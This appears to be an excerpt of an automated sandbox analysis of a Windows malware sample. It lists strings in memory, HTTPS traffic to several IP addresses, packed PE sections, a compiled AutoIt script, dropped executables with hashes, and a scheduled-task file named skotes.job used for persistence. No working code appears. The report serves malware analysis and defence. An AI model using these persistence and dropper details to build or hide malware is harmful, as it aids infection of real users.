Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2482519588.000001F83FF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000003.2321503699.000001F840040000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2317637589.000001F83FE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000006.00000003.1338742221.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338867009.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338680656.000000000578C000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142290883.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142799412.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142375430.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327747156.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327300825.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService
Source: firefox.exe, 00000025.00000002.2494010655.000001F840A36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2317637589.000001F83FE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchWikipedia
Source: firefox.exe, 00000025.00000002.2494010655.000001F840A36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: df757a3a2c.exe, 00000014.00000003.2200089454.0000000005B68000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2384983215.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2461387139.000001F83BBAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: firefox.exe, 00000025.00000002.2553564650.00002F89BE100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2494010655.000001F840A36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000025.00000002.2496083880.000001F84115E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2494010655.000001F840A36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000025.00000002.2537182494.000001F848AF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2503641584.000001F841B6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2451714007.000000B9D923B000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2459673235.000001F83036B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000025.00000002.2492115044.000001F840703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2503641584.000001F841B0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E8CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: firefox.exe, 00000025.00000003.2392548310.000001F841A40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2392548310.000001F841A3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2392548310.000001F841A45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E8CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000006.00000003.1374040442.000000000586D000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2183467484.0000000005C86000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2383545381.00000000052C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2472850400.000001F83E8CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E8CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000025.00000002.2461387139.000001F83BB32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000025.00000002.2466040035.000001F83D103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: file.exe, 00000006.00000003.1374040442.000000000586D000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2183467484.0000000005C86000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2383545381.00000000052C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2472850400.000001F83E8CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000025.00000002.2461387139.000001F83BB32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/s
Source: firefox.exe, 00000025.00000002.2451714007.000000B9D923B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000025.00000002.2520016985.000001F84253F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000025.00000003.2382458904.000001F848674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000025.00000002.2496596781.000001F841281000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000025.00000002.2535737946.000001F848814000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2494010655.000001F840A36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/Z
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/operationsRequiringRestartget
Source: firefox.exe, 00000025.00000002.2553564650.00002F89BE100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000025.00000003.2382458904.000001F848674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50160
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50161
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50166
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.7:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50164 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 582b1c6d88.exe, 00000017.00000000.2268904879.00000000006E2000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_02b2fade-3
Source: 582b1c6d88.exe, 00000017.00000000.2268904879.00000000006E2000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_336df5d4-d

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe.6.dr	Static PE information: section name:
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe.6.dr	Static PE information: section name: .rsrc
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe.6.dr	Static PE information: section name: .idata
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe.6.dr	Static PE information: section name:
Source: K2GPLQXM988TEBRN5R.exe.6.dr	Static PE information: section name:
Source: K2GPLQXM988TEBRN5R.exe.6.dr	Static PE information: section name: .idata
Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.6.dr	Static PE information: section name:
Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.6.dr	Static PE information: section name: .idata
Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.6.dr	Static PE information: section name:
Source: skotes.exe.10.dr	Static PE information: section name:
Source: skotes.exe.10.dr	Static PE information: section name: .idata
Source: skotes.exe.10.dr	Static PE information: section name:
Source: random[1].exe.18.dr	Static PE information: section name:
Source: random[1].exe.18.dr	Static PE information: section name: .rsrc
Source: random[1].exe.18.dr	Static PE information: section name: .idata
Source: df757a3a2c.exe.18.dr	Static PE information: section name:
Source: df757a3a2c.exe.18.dr	Static PE information: section name: .rsrc
Source: df757a3a2c.exe.18.dr	Static PE information: section name: .idata
Source: random[1].exe0.18.dr	Static PE information: section name:
Source: random[1].exe0.18.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.18.dr	Static PE information: section name: .idata
Source: random[1].exe0.18.dr	Static PE information: section name:
Source: ea19c894e7.exe.18.dr	Static PE information: section name:
Source: ea19c894e7.exe.18.dr	Static PE information: section name: .rsrc
Source: ea19c894e7.exe.18.dr	Static PE information: section name: .idata
Source: ea19c894e7.exe.18.dr	Static PE information: section name:
Source: GQIHH842FUSCNH01PBIJ.exe.20.dr	Static PE information: section name:
Source: GQIHH842FUSCNH01PBIJ.exe.20.dr	Static PE information: section name: .idata
Source: GQIHH842FUSCNH01PBIJ.exe.20.dr	Static PE information: section name:
Source: D7GI4LGVF8ASO12V3.exe.20.dr	Static PE information: section name:
Source: D7GI4LGVF8ASO12V3.exe.20.dr	Static PE information: section name: .rsrc
Source: D7GI4LGVF8ASO12V3.exe.20.dr	Static PE information: section name: .idata
Source: D7GI4LGVF8ASO12V3.exe.20.dr	Static PE information: section name:
Source: UYC74GB6WBXMLVLE5D9EEPR.exe.20.dr	Static PE information: section name:
Source: UYC74GB6WBXMLVLE5D9EEPR.exe.20.dr	Static PE information: section name: .idata

PE file has a writeable .text section

Source: num[1].exe.18.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.18.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe 9E793DB8DF51F560746D9A01E4508815BFAB32DE19E5D7346071C8F355204FCD
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9980346297021944
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe.6.dr	Static PE information: Section: seldsqgz ZLIB complexity 0.9948511172038198
Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9981958872615804
Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.6.dr	Static PE information: Section: juonirvb ZLIB complexity 0.9947261493275914
